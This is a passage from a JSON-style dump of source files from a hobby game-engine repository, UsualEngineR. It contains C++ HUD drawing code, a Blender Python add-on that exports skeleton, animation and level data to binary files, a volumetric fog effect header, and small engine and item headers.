60.0));\n\n\t//TIME\n\tm_texts[TO_INT(FONT_TYPE::TIME)] = L\"ClearTime\";\n\tm_texts[TO_INT(FONT_TYPE::TIME) + 1] = std::to_wstring(clearMin) + L\":\" + std::to_wstring(sec);\n\t//std::wstring wstTimeStr = L\"Time\";\n\t//std::wstring wstTimeVal = std::to_wstring(clearMin) + L\":\" + std::to_wstring(sec) + L\"\\n\";\n\t//POW\n\tm_texts[TO_INT(FONT_TYPE::POW)] = L\"POW \";\n\tm_texts[TO_INT(FONT_TYPE::POW) + 1] = std::to_wstring(m_displayRoboCount)+L\"/100\";\n\t//CORPSE\n\tm_texts[TO_INT(FONT_TYPE::CORPSE)] = L\"CRPS \";\n\tm_texts[TO_INT(FONT_TYPE::CORPSE) + 1] = std::to_wstring(m_corpseCount);\n\n\t//DEF\n\tm_texts[TO_INT(FONT_TYPE::DEF)] = L\"DEFAULT\";\n\tm_texts[TO_INT(FONT_TYPE::DEF) + 1] = std::to_wstring((int)m_attachmentPercentageData.defaultAttachment) + L\"%\";\n\t//MELEE\n\tm_texts[TO_INT(FONT_TYPE::MELEE)] = L\"MELEE\";\n\tm_texts[TO_INT(FONT_TYPE::MELEE) + 1] = std::to_wstring((int)m_attachmentPercentageData.meleeAttachment) + L\"%\";\n\t//REMOTE\n\tm_texts[TO_INT(FONT_TYPE::REMOTE)] = L\"REMOTE\";\n\tm_texts[TO_INT(FONT_TYPE::REMOTE) + 1] = std::to_wstring((int)m_attachmentPercentageData.remoteAttachment) + L\"%\";\n\t//BOMB\n\tm_texts[TO_INT(FONT_TYPE::BOMB)] = L\"BOMB\";\n\tm_texts[TO_INT(FONT_TYPE::BOMB) + 1] = std::to_wstring((int)m_attachmentPercentageData.bombAttachment) + L\"%\";\n\n\tm_fonts[0].Begin();\n\tm_fonts[0].Draw(m_texts[0].c_str(), { m_fontsPos[0].x ,m_fontsPos[0].y-25}, m_FontColor, m_fontRot, m_leftFontSca * 0.6f);\n\tfor (int i = 1; i < 6; i++) {\n\t\tm_fonts[0].Draw(m_texts[i].c_str(), m_fontsPos[i], m_FontColor, m_fontRot, m_leftFontSca);\n\t}\n\n\tfor (int i = 6; i < m_NUM_FONTS; i++) {\n\t\tm_fonts[0].Draw(m_texts[i].c_str(), m_fontsPos[i], m_FontColor, m_fontRot, m_rightFontSca);\n\t}\n\tm_fonts[0].End();\n}\n"
},
{
"alpha_fraction": 0.528310239315033,
"alphanum_fraction": 0.5343490242958069,
"avg_line_length": 32.117431640625,
"blob_id": "7426897677c00e2e852fd0a6bcfcdcebea036aa9",
"content_id": "3df851b16ced04fbc6d990bdc570ec7461dec817",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 21448,
"license_type": "no_license",
"max_line_length": 112,
"num_lines": 545,
"path": "/BlenderPlugin/tkExporter.py",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "import copy\nimport struct\nimport os\n\nimport bpy\nfrom bpy.props import StringProperty\nfrom bpy.props import BoolProperty\nimport mathutils\n\n#アドオンの詳細\nbl_info = {\n \"name\": \"tkExporter\",\n #注意:descriptionは1行目以外すべて野本晟矢による加筆です。\n \"description\": \"Informal tkExporter for Blender.\\\nAnimationEvent mo shuturyoku dekiru kamo shirehen wa!\\\nMarker you no tukatte yarun yakedo... ma, yo wakaran kattara \\\nyamaP ni nan demo keyte na! wai mo yo wakaran nen.\\\nTeka, marker saisho wa global ni natten no honma nazo yawa.\\\nSono hen Marker tukau yakara wa key tuke ya.\\\nNishitemo honma Blender you natta yona, wai wa saisho tomadottan yakedo,\\\nkorekara hajimeru hitora ni totte wa wakari yasuku natteru to omou wa!\\\nKore kara wa blender no jidai yade! Hahasi kawaru kedo StarWars no jedai tte \\\nSengoku Jidai no Jidai kara kiteru rashi de.Shinjiru ka shinji nai kawa anata shidai ya!\\\nKonnani kaite mo blender de hyouji sare hen noga honma kanashie wa.\\\nMa, betuni kinisee hen kedona!Kono sourse code ijiru yakara ga itehattara \\\nkitto zenbu yonde kureru yaro, sonai na yatu zettai Hentai ni kimatte harukara na!\\\nBlender min mot huete hoshi na.show me 3DSMAX toka Maya toka irahen nen onedan takai dake \\\nyade, annan ni toushi surugurai nara Blender ni toushi shita houga 100by mashi yawa.\",\n \"author\": \"kbc18b13\",\n \"version\": (1, 0, 0, 0),\n \"blender\": (2, 80, 2),\n \"category\": \"Properties\",\n \"location\": \"Window\",\n \"warning\": \"\",\n \"wiki_url\": \"\",\n \"tracker_url\": \"\"\n}\n\n#列優先行列をYアップに変換する(なので転置前に使ってね!)\n#戻り値として変換後の行列を返す\ndef transToYUp(matrix):\n #ZUpをYUpに変えるための回転行列\n rotMat = mathutils.Matrix([ [1, 0,0,0],\\\n [0, 0,1,0],\\\n [0,-1,0,0],\\\n [0, 0,0,1]])\n matrix = rotMat @ matrix\n return matrix\n\n#オブジェクトプロパティに追加されるパネル\nclass TkExporter_PT_Panel(bpy.types.Panel):\n bl_label = \"TkExporter\"\n bl_space_type = \"PROPERTIES\"\n bl_region_type = \"WINDOW\"\n bl_context = \"object\"\n \n def draw(self, context):\n self.layout.operator(\"tkexporter.skeleton\")\n self.layout.operator(\"tkexporter.animation\")\n self.layout.operator(\"tkexporter.animation_all\")\n self.layout.operator(\"tkexporter.level\")\n \n\n\n#スケルトン出力オペレーション\nclass TkExporter_OT_Skeleton(bpy.types.Operator):\n \n bl_idname = \"tkexporter.skeleton\"\n bl_label = \"createSkeleton\"\n \n filename_ext = \".tks\"\n\n #ダイアログから受け取ったファイル名を入れておく変数(?)。\n filepath : StringProperty(\n name=\"Tks_FilePath\",\n description=\"Filepath used for exporting the file\",\n default = \"untitled.tks\",\n maxlen=1024,\n subtype='FILE_PATH',\n )\n \n #ボタンを押すとexecuteの前に呼ばれる関数。\n def invoke(self, context, event):\n armature = context.object\n \n #Armatureオブジェクト選択時以外は何もしないため、リターン。\n if armature.type != \"ARMATURE\":\n self.report({'INFO'}, \"Please select Armature object.\")\n return{'FINISHED'}\n \n #デフォルトの文字列を設定する。\n blend_filepath = context.blend_data.filepath\n if not blend_filepath:\n blend_filepath = \"untitled\"\n else:\n blend_filepath = os.path.splitext(blend_filepath)[0]\n\n self.filepath = blend_filepath + self.filename_ext\n\n #ファイルダイアログを開く。\n #ダイアログが閉じたとき、execute()を呼んでくれるらしい。\n context.window_manager.fileselect_add(self)\n \n return {'RUNNING_MODAL'}\n \n \n #スケルトン出力をやる関数\n def execute(self, context):\n \n with open(self.filepath, \"wb\") as target:\n \n bpy.ops.object.mode_set(mode='EDIT')\n edit_bones = list(context.object.data.edit_bones)\n \n #骨の数を出力\n target.write( struct.pack(\"<i\", len(edit_bones) ) )\n \n for bone in edit_bones:\n \n #骨の名前を出力\n target.write( struct.pack(\"<B\", len(bone.name) ) )\n target.write( bone.name.encode() + b\"\\0\")\n \n #親ボーンのインデックスを出力\n parent = bone.parent\n if parent is None:\n target.write( struct.pack(\"<i\", -1) )\n else:\n target.write( struct.pack(\"<i\", edit_bones.index(parent)) )\n \n #バインドポーズ\n boneMat = copy.deepcopy(bone.matrix)\n\n #アーマチュアオブジェクトのワールド行列をかけてボーンの行列をワールド基準にする。\n boneMat = context.object.matrix_world @ boneMat\n\n #Yアップに変換\n boneMat = transToYUp(boneMat)\n\n boneMat.transpose()#転置する。blenderは列優先。tkは行優先です。\n\n for vec3 in boneMat:\n for i , m in enumerate(vec3):\n if i != 3:\n target.write( struct.pack(\"<f\", m) )\n \n #バインドポーズの逆行列\n boneMat.invert()\n for vec3 in boneMat:\n for i , m in enumerate(vec3):\n if i != 3:\n target.write( struct.pack(\"<f\", m) )\n \n self.report({'INFO'}, \"Finished making skeleton file.\")\n return {'FINISHED'}\n\n\n#アニメーション出力オペレーション\nclass TkExporter_OT_Animation(bpy.types.Operator):\n \n bl_idname = \"tkexporter.animation\"\n bl_label = \"createAnimation\"\n \n filename_ext = \".tka\"\n\n #ダイアログから受け取ったファイル名を入れておく変数(?)。\n filepath : StringProperty(\n name=\"Tka_FilePath\",\n description=\"Filepath used for exporting the file\",\n default = \"untitled.tka\",\n maxlen=1024,\n subtype='FILE_PATH',\n )\n \n #ボタンを押すとexecuteの前に呼ばれる関数。\n def invoke(self, context, event):\n armature = context.object\n \n #Armatureオブジェクト選択時以外は何もしないため、リターン。\n if armature.type != \"ARMATURE\":\n self.report({'INFO'}, \"Please select Armature object.\")\n return{'FINISHED'}\n\n #アニメーションが無いため、リターン\n if (armature.animation_data is None) or (armature.animation_data.action is None):\n self.report({'INFO'}, \"The armature don't has animations\")\n return{'FINISHED'}\n \n #デフォルトの文字列を設定する。\n blend_filepath = context.blend_data.filepath\n if not blend_filepath:\n blend_filepath = \"untitled\"\n else:\n blend_filepath = os.path.splitext(blend_filepath)[0] + \"_\" + armature.animation_data.action.name\n\n self.filepath = blend_filepath + self.filename_ext\n\n #ファイルダイアログを開く。\n #ダイアログが閉じたとき、execute()を呼んでくれるらしい。\n context.window_manager.fileselect_add(self)\n \n return {'RUNNING_MODAL'}\n \n \n #アニメーション出力をやる関数\n def execute(self, context):\n \n with open(self.filepath, \"wb\") as target:\n \n scene = context.scene\n armar = context.object\n\n #エディットモードとポーズモードでボーンの並びが違うので\n #エディットモード基準のインデックスを使うために名前のリストを作る\n bpy.ops.object.mode_set(mode='EDIT')\n bone_name_list = [b.name for b in context.object.data.edit_bones]\n\n bpy.ops.object.mode_set(mode='POSE')\n pose_bones = context.object.pose.bones\n\n #キーフレームの数を出力\n target.write(struct.pack(\"<I\", (scene.frame_end - scene.frame_start) * len(pose_bones)))\n\n time = 0#経過時間を入れとく変数\n spf = 1 / scene.render.fps#フレームあたりの秒数\n\n #アニメーションイベント数を出力\n eventcount = len(armar.animation_data.action.pose_markers)\n target.write(struct.pack(\"<I\", eventcount))\n #アニメーションイヴェントの出力\n for event in armar.animation_data.action.pose_markers:\n fr = spf * event.frame\n #イヴェントノオコルジカン(ビョウ)\n target.write( struct.pack(\"<f\", fr) )\n #イヴェント名の出力\n target.write( struct.pack(\"<i\", len(event.name)) )\n target.write(event.name.encode()+b\"\\0\")\n\n for frame in range(scene.frame_start , scene.frame_end+1):\n scene.frame_set(frame) \n\n for bone in pose_bones:\n #ボーンのインデックスを出力\n target.write( struct.pack(\"<I\", bone_name_list.index(bone.name)) )\n \n #秒数を出力\n target.write( struct.pack(\"<f\", time) )\n\n #ボーンの行列を出力\n matrix = copy.deepcopy(bone.matrix)\n\n #アーマチュアオブジェクトのワールド行列をかけてボーンの行列をワールド基準にする。\n matrix = context.object.matrix_world @ matrix\n\n #Yアップに変換\n matrix = transToYUp(matrix)\n\n if not bone.parent is None:\n #親の逆行列をかけて自分の座標系にする。親もワールド基準に直すのを忘れない。\n invMat = copy.deepcopy(transToYUp(context.object.matrix_world @ bone.parent.matrix))\n invMat.invert()\n #列優先なのでこの順番\n matrix = invMat @ matrix\n del invMat\n\n matrix.transpose()#転置する。blenderは列優先。tkEngineは行優先です。\n\n for vec3 in matrix:\n for i , m in enumerate(vec3):\n if i != 3:\n target.write( struct.pack(\"<f\", m) )\n \n #1フレームあたりの秒数をプラス\n time += spf\n \n self.report({'INFO'}, \"Finished making animation file.\")\n return {'FINISHED'}\n \n \n \n#アニメーション出力オペレーション(ALL)\nclass TkExporter_OT_AnimationAll(bpy.types.Operator):\n \n bl_idname = \"tkexporter.animation_all\"\n bl_label = \"createAnimationAll\"\n \n filename_ext = \".tka\"\n\n #ダイアログから受け取ったファイル名を入れておく変数(?)。\n filepath : StringProperty(\n name=\"Tka_FilePath\",\n description=\"Filepath used for exporting the file\",\n default = \"untitled.tka\",\n maxlen=1024,\n subtype='FILE_PATH',\n )\n \n #ボタンを押すとexecuteの前に呼ばれる関数。\n def invoke(self, context, event):\n armature = context.object\n \n #Armatureオブジェクト選択時以外は何もしないため、リターン。\n if armature.type != \"ARMATURE\":\n self.report({'INFO'}, \"Please select Armature object.\")\n return{'FINISHED'}\n\n #アニメーションが無いため、リターン\n if (armature.animation_data is None) or (armature.animation_data.action is None):\n self.report({'INFO'}, \"The armature don't has animations\")\n return{'FINISHED'}\n \n #デフォルトの文字列を設定する。\n blend_filepath = context.blend_data.filepath\n if not blend_filepath:\n blend_filepath = \"untitled\"\n else:\n blend_filepath = os.path.splitext(blend_filepath)[0]\n\n self.filepath = blend_filepath + \"_%s\" + self.filename_ext\n\n #ファイルダイアログを開く。\n #ダイアログが閉じたとき、execute()を呼んでくれるらしい。\n context.window_manager.fileselect_add(self)\n \n return {'RUNNING_MODAL'}\n \n \n #アニメーション出力をやる関数\n def execute(self, context):\n scene = context.scene\n armar = context.object\n \n #エディットモードとポーズモードでボーンの並びが違うので\n #エディットモード基準のインデックスを使うために名前のリストを作る\n bpy.ops.object.mode_set(mode='EDIT')\n bone_name_list = [b.name for b in context.object.data.edit_bones]\n \n for action_data in bpy.data.actions:\n armar.animation_data.action = action_data\n filepath = self.filepath % action_data.name\n with open(filepath, \"wb\") as target:\n \n end_frame = scene.frame_end\n #find end frame\n for event in armar.animation_data.action.pose_markers:\n if event.name == \"end\":\n end_frame = event.frame\n break\n\n bpy.ops.object.mode_set(mode='POSE')\n pose_bones = context.object.pose.bones\n\n #キーフレームの数を出力\n target.write(struct.pack(\"<I\", (end_frame - scene.frame_start) * len(pose_bones)))\n\n time = 0#経過時間を入れとく変数\n spf = 1 / scene.render.fps#フレームあたりの秒数\n \n \n #アニメーションイベント数を出力\n eventcount = len(armar.animation_data.action.pose_markers)\n target.write(struct.pack(\"<I\", eventcount))\n #アニメーションイヴェントの出力\n for event in armar.animation_data.action.pose_markers:\n if event.name == \"end\":\n end_frame = event.frame + 1\n \n fr = spf * event.frame\n #イヴェントノオコルジカン(ビョウ)\n target.write( struct.pack(\"<f\", fr) )\n #イヴェント名の出力\n target.write( struct.pack(\"<i\", len(event.name)) )\n target.write(event.name.encode()+b\"\\0\")\n \n end_frame += 1\n\n for frame in range(scene.frame_start , end_frame):\n scene.frame_set(frame) \n\n for bone in pose_bones:\n #ボーンのインデックスを出力\n target.write( struct.pack(\"<I\", bone_name_list.index(bone.name)) )\n \n #秒数を出力\n target.write( struct.pack(\"<f\", time) )\n\n #ボーンの行列を出力\n matrix = copy.deepcopy(bone.matrix)\n\n #アーマチュアオブジェクトのワールド行列をかけてボーンの行列をワールド基準にする。\n matrix = context.object.matrix_world @ matrix\n\n #Yアップに変換\n matrix = transToYUp(matrix)\n\n if not bone.parent is None:\n #親の逆行列をかけて自分の座標系にする。親もワールド基準に直すのを忘れない。\n invMat = copy.deepcopy(transToYUp(context.object.matrix_world @ bone.parent.matrix))\n invMat.invert()\n #列優先なのでこの順番\n matrix = invMat @ matrix\n del invMat\n\n matrix.transpose()#転置する。blenderは列優先。tkEngineは行優先です。\n\n for vec3 in matrix:\n for i , m in enumerate(vec3):\n if i != 3:\n target.write( struct.pack(\"<f\", m) )\n \n #1フレームあたりの秒数をプラス\n time += spf\n \n self.report({'INFO'}, \"Finished making animation file.\")\n return {'FINISHED'}\n \n \n\n#ドット以下を無視する関数\ndef deleteAfterDot(name):\n index = 0\n for c in name:\n if c == \".\":\n return name[0:index]\n index += 1\n \n print(name)\n return name\n\n\n\n#レベル出力オペレーション\nclass TkExporter_OT_Level(bpy.types.Operator):\n\n bl_idname = \"tkexporter.level\"\n bl_label = \"createLevel\"\n \n filename_ext = \".tkl\"\n\n #ダイアログから受け取ったファイル名を入れておく変数(?)。\n filepath : StringProperty(\n name=\"Tkl_FilePath\",\n description=\"Filepath used for exporting the file\",\n default = \"untitled.tkl\",\n maxlen=1024,\n subtype='FILE_PATH',\n )\n\n #blenderは名前の重複を許さないので、出力時に任意で名前のドット(.)以下を削除します。\n #ファイルダイアログが開いたときに左側にDelete name after the dot.というチェックボックスがあるので\n #それにチェックを入れると削除が有効になります。\n #例:Box.001 => Box\n # Box.0.1 => Box\n # Box_1.001 => Box_1\n isDeleteDot : BoolProperty(\n name=\"Delete name after the dot.\",\n description=\"If it's true, it delete name after the dot.\",\n default=True,\n )\n\n #ボタンを押すとexecuteの前に呼ばれる関数。\n def invoke(self, context, event):\n #デフォルトの文字列を設定する。\n blend_filepath = context.blend_data.filepath\n if not blend_filepath:\n blend_filepath = \"untitled\"\n else:\n blend_filepath = os.path.splitext(blend_filepath)[0]\n\n self.filepath = blend_filepath + self.filename_ext\n\n #ファイルダイアログを開く。\n #ダイアログが閉じたとき、execute()を呼んでくれるらしい。\n context.window_manager.fileselect_add(self)\n \n return {'RUNNING_MODAL'}\n \n \n #レベル出力をやる関数\n def execute(self, context):\n colle = context.collection\n objs = bpy.context.selected_objects\n with open(self.filepath, \"wb\") as target:\n\n #オブジェクトの総数を出力。(一番最初は無視されるので1プラス)\n target.write(struct.pack(\"<I\", len(objs) + 1))\n\n #一番最初の無視される用ダミー\n target.write(struct.pack(\"<B\", 0))#名前の長さ\n target.write(struct.pack(\"<B\", 0))#ヌル文字\n target.write(struct.pack(\"<i\", -1))#親の番号(親無しの意)\n for i in range(3*4*2):\n target.write(struct.pack(\"<f\", 0))#行列(どうせ無視されるの)\n \n #ここから各オブジェクトの情報\n for obj in objs:\n name = obj.name\n #ドット以下削除\n #if self.isDeleteDot:\n name = deleteAfterDot(name)\n #エンコード(バイト文字列に変換)\n name = name.encode(\"shift_jis\")\n\n target.write(struct.pack(\"<B\", len(name)))#名前の長さ\n target.write(name + b\"\\0\")#オブジェクトの名前\n target.write(struct.pack(\"<i\", 0))#親の番号(実際には親ではなくコレクションだが、とりあえず0番を入れとく)\n\n #オブジェクトのワールド行列を取得\n objMat = copy.deepcopy(obj.matrix_world)\n\n objMat.transpose()#転置する。blenderは列優先。tkは行優先です。\n\n for vec3 in objMat:\n for i , m in enumerate(vec3):\n if i != 3:\n target.write( struct.pack(\"<f\", m) )\n \n #逆行列\n objMat.invert()\n for vec3 in objMat:\n for i , m in enumerate(vec3):\n if i != 3:\n target.write( struct.pack(\"<f\", m) )\n \n self.report({'INFO'}, \"Finished making level file.\")\n return {'FINISHED'}\n \n\n\n\nclasses = {\n TkExporter_PT_Panel,\n TkExporter_OT_Skeleton,\n TkExporter_OT_Animation,\n TkExporter_OT_AnimationAll,\n TkExporter_OT_Level\n}\n\ndef register():\n for c in classes:\n bpy.utils.register_class(c)\n\ndef unregister():\n for c in classes:\n bpy.utils.unregister_class(c)\n\n"
},
{
"alpha_fraction": 0.6361607313156128,
"alphanum_fraction": 0.6564980149269104,
"avg_line_length": 18.023584365844727,
"blob_id": "f5f0ae0fb283671001c29967c315b375eb419ffd",
"content_id": "8c3e493ee402af065483b96b3a82855a183ab065",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 4404,
"license_type": "no_license",
"max_line_length": 96,
"num_lines": 212,
"path": "/UsualEngineR/Graphics/Effect/VolumetricEffect.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#pragma once\n\n\n\n\nnamespace UER\n{\n\n\tclass AnchorModel\n\t{\n\tpublic:\n\t\tvoid Release() {}\n\n\t\tvoid Init(const char* tkmFile,RWStructuredBuffer& vertPosList);\n\n\t\tvoid Draw(RenderContext& rc,const Matrix& mwvp, bool isInv);\n\n\t\tint GetVertexNum() const\n\t\t{\n\t\t\tconst auto& view = m_vertBuffer.GetView();\n\t\t\treturn view.SizeInBytes / view.StrideInBytes;\n\t\t}\n\n\t\tconst Vector3& GetCenter() const\n\t\t{\n\t\t\treturn m_center;\n\t\t}\n\t\tconst Vector3& GetCenterAxis() const\n\t\t{\n\t\t\treturn m_centerAxis;\n\t\t}\n\t\tconst Vector3& GetCenterBottom() const\n\t\t{\n\t\t\treturn m_centerBottom;\n\t\t}\n\t\tconst Vector3& GetCenterTop() const\n\t\t{\n\t\t\treturn m_centerTop;\n\t\t}\n\tprivate:\n\t\tstruct SConstBufferData\n\t\t{\n\t\t\tMatrix mwvp;\n\n\t\t};\n\t\tTkmFile m_tkm;\n\n\t\tIndexBuffer m_indBuffer;\n\t\tIndexBuffer m_indBuffer_inv;\n\t\tVertexBuffer m_vertBuffer;\n\t\tVertexBuffer m_vertBuffer_inv;\n\n\t\tConstantBuffer m_constBuffer;\n\n\t\tRootSignature m_rootSign;\n\t\tPipelineState m_pipState;\n\t\tPipelineState m_pipState_inv;\n\t\tDescriptorHeap m_descHeap;\n\n\t\tShader m_vs;\n\t\tShader m_vs_inv;\n\t\tShader m_ps;\n\t\tShader m_ps_inv;\n\n\t\tVector3 m_center;\n\t\tVector3 m_centerBottom;\n\t\tVector3 m_centerTop;\n\t\tVector3 m_centerAxis;\n\t};\n\n\n\tclass VolumetricEffect\n\t{\n\tpublic:\n\t\tstruct FogData\n\t\t{\n\t\t\tUINT rayCount = 80; //レイのステップ回数。\n\t\t\tfloat rayLen = 2.f; //ステップの距離。\n\n\t\t\tfloat decayCenterToXZ = 0.f; //中心からの減衰。\n\t\t\tfloat decayCenterToY = 0.f;\n\t\t\tfloat centerOffsetY = 0.f;\n\n\t\t\tVector3 color = { 1,1,1 }; //フォグの色。\n\t\t\tfloat ratioParlin = 0.4f;\n\t\t\tfloat concentration = 0.02; //濃度。\n\t\t\tfloat perlinScale = 0.08f; //パーリンノイズのスケール\n\t\t\tfloat worleyScale = 0.07f; //ウォーリーノイズのスケール\n\t\t\tfloat ratioParlinWorley = 0.4f; //パーリンノイズとウォーリーノイズの合成の割合(0がPerlin、1がWorley)\n\n\t\t\tVector3 offset = g_vec3Zero; //位置のオフセット\n\t\t};\n\n\n\t\tvoid Release();\n\t\tvoid Init(const char* tkmFile);\n\n\t\tvoid Draw(RenderContext& rc, const Matrix& mworld, const Matrix& mvp, const FogData& fogData);\n\n\n\t\t\n\tprivate:\n\t\tusing PADDING = INT;\n\t\tstruct SFogData\n\t\t{\n\t\t\tUINT rayCount = 80; //レイのステップ回数。\n\t\t\tfloat rayLen = 2.f; //ステップの距離。\n\n\t\t\tfloat decayCenterToXZ = 0.f; //中心からの減衰。\n\t\t\tfloat decayCenterToY = 0.f;\n\t\t\t\n\t\t\tfloat centerOffsetY = 0.f;\n\t\t\tVector3 centerPos = g_vec3Zero;\n\t\t\t//PADDING p1;\n\n\t\t\tVector3 centerBottom = g_vec3AxisY;\n\t\t\tPADDING p2;\n\n\t\t\tVector3 centerTop = g_vec3AxisY;\n\t\t\tPADDING p2_1;\n\n\t\t\tVector3 color = {1,1,1}; //フォグの色。\n\t\t\t//PADDING p3;\n\t\t\tfloat ratioParlin = 0.4f;\n\t\t\tfloat concentration = 0.02; //濃度。\n\t\t\tfloat perlinScale = 0.08f; //パーリンノイズのスケール\n\t\t\tfloat worleyScale = 0.07f; //ウォーリーノイズのスケール\n\t\t\tfloat ratioParlinWorley = 0.4f; //パーリンノイズとウォーリーノイズの合成の割合(0がPerlin、1がWorley)\n\n\t\t\tVector3 offset = g_vec3Zero; //位置のオフセット\n\t\t\tPADDING p4;\n\t\t\t\n\t\t};\n\t\tstruct SConstBufferData\n\t\t{\n\t\t\tMatrix mvp;\n\t\t\tMatrix mvp_inv;\n\n\t\t\tSFogData data;\n\t\t};\n\t\tstatic RenderTarget m_anchorRT;\n\t\tstatic RenderTarget m_anchorRT_inv;\n\t\tstatic RenderTarget m_stencilRT;\n\t\tstatic bool m_isInitRT;\n\n\t\tAnchorModel m_anchorModel;\n\t\tPrimitive m_prim;\n\t\tRWStructuredBuffer m_vertPos;\n\t\tConstantBuffer m_constBuffer;\n\n\t\tRootSignature m_rootSign;\n\t\tPipelineState m_pipState;\n\t\tDescriptorHeap m_descHeap;\n\n\t\tShader m_vs;\n\t\tShader m_ps;\n\t};\n\n\n\tclass VolumetricEffectRender :public GameObject\n\t{\n\tpublic:\n\t\tvirtual void Release() override;\n\t\tvirtual void OnDestroy() override;\n\n\t\tvoid Init(const char* tkmFile);\n\n\t\tvoid Update() override;\n\n\t\tvoid PrePostRender() override;\n\n\n\t\tvoid SetPos(const Vector3& v)\n\t\t{\n\t\t\tm_pos = v;\n\t\t}\n\t\tvoid SetSca(const Vector3& v)\n\t\t{\n\t\t\tm_sca = v;\n\t\t}\n\t\tvoid SetRot(const Quaternion& q)\n\t\t{\n\t\t\tm_rot = q;\n\t\t}\n\n\t\tconst Vector3& GetPos() const\n\t\t{\n\t\t\treturn m_pos;\n\t\t}\n\t\tconst Vector3& GetSca() const\n\t\t{\n\t\t\treturn m_sca;\n\t\t}\n\t\tconst Quaternion& GetRot() const\n\t\t{\n\t\t\treturn m_rot;\n\t\t}\n\n\t\tVolumetricEffect::FogData& GetFogData()\n\t\t{\n\t\t\treturn m_fogData;\n\t\t}\n\tprivate:\n\t\tVolumetricEffect m_volumeEffect;\n\n\t\tVector3 m_pos = g_vec3Zero;\n\t\tVector3 m_sca = g_vec3One;\n\t\tQuaternion m_rot = g_quatIdentity;\n\n\t\tVolumetricEffect::FogData m_fogData;\n\t};\n}"
},
{
"alpha_fraction": 0.6538461446762085,
"alphanum_fraction": 0.6538461446762085,
"avg_line_length": 9.5,
"blob_id": "c757b2f98543d90fc37424302facca05aa385cf8",
"content_id": "e49f427beb6695bdcc19316e5322fa1918fc461a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 104,
"license_type": "no_license",
"max_line_length": 28,
"num_lines": 10,
"path": "/UsualEngineR/Graphics/Light/LightPoint.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"LightPoint.h\"\n\n\nnamespace UER\n{\n\t/*void LightPoint::Update()\n\t{\n\t}*/\n}"
},
{
"alpha_fraction": 0.6735572814941406,
"alphanum_fraction": 0.6735572814941406,
"avg_line_length": 17.428571701049805,
"blob_id": "0b2a710c2d5e3f287d6edec2acdf26ac66af5989",
"content_id": "e42e84f84198826bb94cf00d9b34cac7149fd68a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1339,
"license_type": "no_license",
"max_line_length": 72,
"num_lines": 63,
"path": "/UsualEngineR/UsualEngine.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n\n#include \"HID/GamePad.h\"\n#include \"GameObject/GameObjectManager.h\"\n#include \"Sound/SoundEngine.h\"\n\nnamespace UER\n{\n\tclass PhysicsWorld;\n\tclass GraphicsEngine;\n\t\n\tclass UsualEngine {\n\tpublic:\n\t\t/// <summary>\n\t\t/// デストラクタ。\n\t\t/// </summary>\n\t\t~UsualEngine();\n\t\t/// <summary>\n\t\t/// フレームの開始時に呼ばれる処理。\n\t\t/// </summary>\n\t\tvoid BeginFrame();\n\t\t/// <summary>\n\t\t/// フレームの終了時に呼ばれる処理。\n\t\t/// </summary>\n\t\tvoid EndFrame();\n\t\t/// <summary>\n\t\t/// ゲームエンジンの初期化。\n\t\t/// </summary>\n\t\tvoid Init(HWND hwnd, UINT frameBufferWidth, UINT frameBufferHeight);\n\n\t\tvoid GameLoop();\n\n\n\t\tPhysicsWorld& GetPhysics()\n\t\t{\n\t\t\treturn *m_physicsWorld;\n\t\t}\n\n\t\tCSoundEngine& GetSoundEngine()\n\t\t{\n\t\t\treturn m_soundEngine;\n\t\t}\n\tprivate:\n\t\tGraphicsEngine* m_graphicsEngine = nullptr;\t\t//グラフィックエンジン。\n\t\tGamePad m_pad[GamePad::CONNECT_PAD_MAX];\t\t//ゲームパッド。\n\t\tGameObjectManager* m_pGameObjectManeger = nullptr;\t\t\t//ゲームオブジェクトマネージャー\n\t\tPhysicsWorld* m_physicsWorld;\n\t\tCSoundEngine m_soundEngine;\n\t};\n\t\n\t\n\textern UsualEngine* g_engine;\t//TKエンジン。\n\n\n\tinline PhysicsWorld& Physics()\n\t{\n\t\treturn g_engine->GetPhysics();\n\t}\n\tinline CSoundEngine& SoundEngine()\n\t{\n\t\treturn g_engine->GetSoundEngine();\n\t}\n}\n"
},
{
"alpha_fraction": 0.628366231918335,
"alphanum_fraction": 0.6804308891296387,
"avg_line_length": 17.53333282470703,
"blob_id": "6cee965fde62df113e82afd5250040f27a35af08",
"content_id": "dc186348577643af33a4eb8f0036aa6306267281",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 569,
"license_type": "no_license",
"max_line_length": 40,
"num_lines": 30,
"path": "/Game/Item/EnergyPotion.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"IItem.h\"\n\nclass SmokeEffect;\n//回復アイテム\nclass EnergyPotion : public IItem\n{\npublic:\n\tEnergyPotion();\n\t~EnergyPotion() override;\n\tvirtual void Apply(Player* p) override;\n\tvirtual void Update() override;\n\nprivate:\n\tconst float m_chargeAmount = 10.f;\n\tconst float modelpos_Y = 0.0f;\n\n\tfloat m_angle = 0.0f;\n\n\tfloat m_PI = 3.14159265;\n\tint m_count = 0;\n\n\tfloat m_deltaTimeSt = 0;\n\t//model\n\tModelRender* m_model = nullptr;\n\t//effect\n\tSmokeEffect* m_effect = nullptr;\n\tVector3 m_scale = { 0.5f,0.5,0.5f };\n\tVector4 m_color = { 1,1,0,1 };\n};\n\n"
},
{
"alpha_fraction": 0.627212405204773,
"alphanum_fraction": 0.655088484287262,
"avg_line_length": 22.664920806884766,
"blob_id": "4ea17212efe220cb4db436a3a98196991f2b6909",
"content_id": "5050a87527cfa2754b28513b24ec91b169d3ff7e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 4520,
"license_type": "no_license",
"max_line_length": 125,
"num_lines": 191,
"path": "/Game/Player/Attachment/JetPack.cpp",
"repo_name": "kokoasann/UsualEngineR",
